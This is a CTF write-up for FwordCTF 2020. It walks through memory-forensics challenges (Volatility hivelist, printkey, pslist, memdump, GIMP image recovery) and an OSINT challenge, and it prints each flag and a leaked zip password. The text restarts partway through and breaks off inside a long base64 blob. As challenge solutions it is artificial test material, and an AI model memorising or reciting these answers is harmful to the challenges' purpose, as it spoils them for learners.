```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
We will take only a small part:
```:[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1```
This is understandable as:
```KOOLI!c50e307f is connecting from 197.14.48.127He is talking from the channel #FwordCTF{top_secret_channel}He send the message: The password isHe also sent another message: fw0rdsecretp4ssAnd he was laughing```
So, the password is ``fw0rdsecretp4ss``.
And, when we used it to extract the files from the .zip file, we found an image that contain the flag: [flag1.png](resources/forensics-405-memory_3/flag1.png)
So, the flag is ```FwordCTF{dont_share_secrets_on_public_channels}```.___
## Memory 4
**Category:** Forensics**Points:** 492**Author:** SemahBA & KOOLI**Description:**
> Since i'm a geek, i hide my secrets in weird places
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks but as usual I found the flag of the next task `Memory 5` before finding the flag of the actual task `Memory 4`.
And when I wanted to understand what does that mean `weird place`, if this can't be the processes that we already worked on and that could be related to geeks, I thought about the user's registry keys.
So, I get back to the following command.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:
```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
And since we know that the user that we are investigating is `SBA_AK`, we have two file paths that we have might need to check: `\??\C:\Users\SBA_AK\ntuser.dat` or/and `\??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat`.
I started with the first one and I used its virtual offset in the volatility command to list the registry keys.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:```
And that's how I soptted the subkey `FLAG` that might contain the flag.
Then, I printed its value.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410 -K "FLAG"```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```
So, the flag is ```FwordCTF{hiding_secrets_in_regs}```.___
## Memory 5
**Category:** Forensics**Points:** 495**Author:** SemahBA & KOOLI**Description:**
> I'm an artist too, i love painting. I always paint in these dimensions 600x300
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
Since I solved this task `Memory 5` before solving the `Memory 4` task, I didn't have the chance to read its description because the task `Memory 5` will not be visible unless I solve the `Memory 4` task.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks.
```volatility -f foren.raw --profile=Win7SP0x64 pslist```
Output:
```Volatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018da8040 System 4 0 103 585 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa8019ebdb00 smss.exe 264 4 2 32 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa801a738060 csrss.exe 356 348 10 459 0 0 2020-08-26 09:10:26 UTC+00000xfffffa801a74db00 wininit.exe 388 348 3 84 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a72fa00 csrss.exe 404 380 9 384 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a763930 winlogon.exe 448 380 5 122 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a74e7e0 services.exe 488 388 8 232 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a5f3b00 lsass.exe 496 388 10 752 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a79a550 lsm.exe 504 388 10 147 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9bb060 svchost.exe 600 488 11 367 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9e6b00 svchost.exe 680 488 8 298 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9ecb00 svchost.exe 756 488 23 588 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa34b00 svchost.exe 808 488 26 533 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa4a860 svchost.exe 864 488 22 574 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa64510 svchost.exe 900 488 38 1047 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa879b0 audiodg.exe 968 756 8 148 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801aab6410 TrustedInstall 1020 488 5 147 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801ab66b00 svchost.exe 1096 488 16 480 0 0 2020-08-26 09:10:29 UTC+00000xfffffa8018e10b00 spoolsv.exe 1212 488 14 299 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801abff060 svchost.exe 1240 488 18 311 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801ab61b00 svchost.exe 1336 488 10 147 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ac9bb00 svchost.exe 1388 488 22 340 0 0 2020-08-26 09:10:30 UTC+00000xfffffa8018e4f4f0 svchost.exe 1748 488 7 104 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ae2e060 sppsvc.exe 1360 488 4 151 0 0 2020-08-26 09:10:34 UTC+00000xfffffa801aecf5f0 taskhost.exe 2036 488 10 234 1 0 2020-08-26 09:11:20 UTC+00000xfffffa8019f45870 dwm.exe 1604 808 3 80 1 0 2020-08-26 09:11:20 UTC+00000xfffffa801af105c0 explorer.exe 1000 1332 31 896 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b01d480 FAHWindow64.ex 2252 2240 2 77 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b024780 WzPreloader.ex 2264 1000 6 123 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801aec4480 SearchIndexer. 2644 488 13 711 0 0 2020-08-26 09:11:27 UTC+00000xfffffa801b20fb00 wmpnetwk.exe 2768 488 14 494 0 0 2020-08-26 09:11:28 UTC+00000xfffffa801b3211e0 svchost.exe 2996 488 10 366 0 0 2020-08-26 09:11:29 UTC+00000xfffffa801a5f95f0 WmiPrvSE.exe 952 600 5 120 0 0 2020-08-26 09:11:30 UTC+00000xfffffa801a976b00 mscorsvw.exe 4012 488 6 93 0 1 2020-08-26 09:12:30 UTC+00000xfffffa801ae824b0 mscorsvw.exe 4052 488 6 83 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aaba450 svchost.exe 3308 488 14 339 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aca4060 chrome.exe 3700 1000 33 986 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801ab9c750 chrome.exe 3752 3700 8 93 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801af86b00 chrome.exe 2560 3700 13 337 1 0 2020-08-26 09:12:48 UTC+00000xfffffa8018e55b00 chrome.exe 3304 3700 8 231 1 0 2020-08-26 09:12:50 UTC+00000xfffffa8019a5b360 chrome.exe 3528 3700 11 209 1 0 2020-08-26 09:12:55 UTC+00000xfffffa8019b2ab00 chrome.exe 616 3700 26 332 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b5b5f0 chrome.exe 540 3700 13 171 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b60060 chrome.exe 3816 3700 13 195 1 0 2020-08-26 09:13:22 UTC+00000xfffffa8019b6fb00 chrome.exe 2516 3700 17 294 1 0 2020-08-26 09:13:32 UTC+00000xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+00000xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+00000xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+00000xfffffa801b2ad060 conhost.exe 2592 404 2 56 1 0 2020-08-26 09:22:18 UTC+0000```
And I found that the only process that we didn't already checked and that was executed later was `mspaint.exe` (Paint).
Now, coming back to the reality, the task description was mentioning the Paint tool.
And the challenge that I tried to solve is more difficult because without the task's description, I didn't have the image's dimensions.
I have the process name and the process ID that I have to work on in order to extract the painted image from the memory that contain the flag.
I followed this write-up to do that: [Google CTF 2016 β Forensic βFor1β Write-up](https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/).
And the first step that I needed to do was to extract the memory dump for that specific process.
```volatility -f foren.raw --profile=Win7SP0x64 memdump -p 1044 -D /tmp```
The extracted memory dump file will be located on `/tmp/1044.dmp`.
And as pointed in the mentioned write-up, we have to download Gimp, to rename the file from 1044.dmp to 1044.data and to open it using Gimp.
The extracted file 1044.dmp was bigger than the memory dump and I still can't explain why we see such behavior when we dump the process in a separate file.
And as I said, when I solved this task, I didn''t have the image's dimensions and when I opened the 1044.data file using Gimp, I had 3 parameters to change: the offset, the width and the height.
But I found that the height parameter is not really important because we only need to change the width because as I understood, the width will limit the number of pixels per line and if the width is incorrect, all the lines after the first line will be shifted and that will avoid us to see the image because every next line will be also shifted from the previous line.
The first time, I tried to work with a larger width because I was saying that I will see the whole picture when the windows is larger but this is not always correct.
The offset is used to scroll the image between the left and the right by shifting or popping the pixels in the view (from the beginning first index and the last index of the array).
This makes the width more important than the offset.
So, if we have the correct width, we can clearly find the painted image only by changing the offset because we will be scrolling the memory dump until we get to the painted image since the memory dump must contain the data of that process and Paint's data is an image.
The only thing that made me lucky in this task is, I though that we have to guess the image dimensions that that will not be difficult. So, I supposed that the painted image will be square shaped. And when I used a larger width and I changed the offset from the min to the max and I didn't find any interesting thing, I reduced the width until 350 or 400. And I changed again the offset from the minimum to the maximum until I found an interesting blank image that contains some random lines. Then, I changed the width and the height to make the image square (but as I said, changing the height will not be useful since the image can be visible with a wrong height) until I found an interesting image with a width equals to 300 but the image was still not clear. So, I changed the width from 100, 200, 300, 400, 500, 600 and Bingo! the width was 600. And the image is still clear with a width proportional to 600 (like 1200, 1800, 2400).
Then, I took a screenshot on that image and I rotated it to see the flag clearly.
So, the flag is ```FwordCTF{Paint_Skills_FTW!}```.
___
# Scoreboard
After solving all these tasks in a team of two players (the third team member had an issue and was not able to join the party), our team **[S3c5murf](https://ctftime.org/team/63808)** get the score 3277 and get ranked 67/360 out of the teams that had a score greater than 0 :
......
...
...
|
# FwordCTF 2020 WriteupThis repository serves as a writeup for FwordCTF 2020 solved by [S3c5murf](https://ctftime.org/team/63808)'s team
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{}
**Hint:**
>(no hint)
### Write-up
I got to the Twitter profile [@1337bloggs](https://twitter.com/1337bloggs/with_replies). And I found the [retweeted](https://twitter.com/EwordTeam/status/1297957636026126339) tweet there.
[@EwordTeam](https://twitter.com/EwordTeam) recommended the user to visit their ctftime's team profile to continue working on this task.
It's possible to search the team Eword in the [Rating page](https://ctftime.org/stats/) on ctftime.org. And 'Eword' is the team name that we are looking for because [@EwordTeam](https://twitter.com/EwordTeam) shared their ctftime's team profile link in their Twitter's profile description.
And this is the team profile: [https://ctftime.org/team/131587](https://ctftime.org/team/131587)
But, as [@EwordTeam](https://twitter.com/EwordTeam) mentioned, it looks like the description was removed from there.
The first thing I thought about was [Wayback Machine](https://archive.org/web/).
I pasted the URL `https://ctftime.org/team/131587` and I found that link was indexed on 26/08/2020 and 27/08/2020 which is 2 days before the starting of the CTF.
Then, I choosed the indexed page from 27/08/2020: [archive](https://web.archive.org/web/20200827114614/https://ctftime.org/team/131587)
And that's how we found an extra link from Pastebin: [https://pastebin.com/8bk9qLX1](https://pastebin.com/8bk9qLX1)
I accessed that link.
So, the real task started and we should find the leader of Eword by following the hint provided in the second Pastebin link: [https://pastebin.com/PZvaSjA0](https://pastebin.com/PZvaSjA0)
As we can see, that link provided a Base64 encoded string. I was saying this is most likely a file but what type of file is this ? And the best way to know that is to decode the Base64 encoded string and to set it into a file and then we use the command `file` to identify what type of file is that:
```echo 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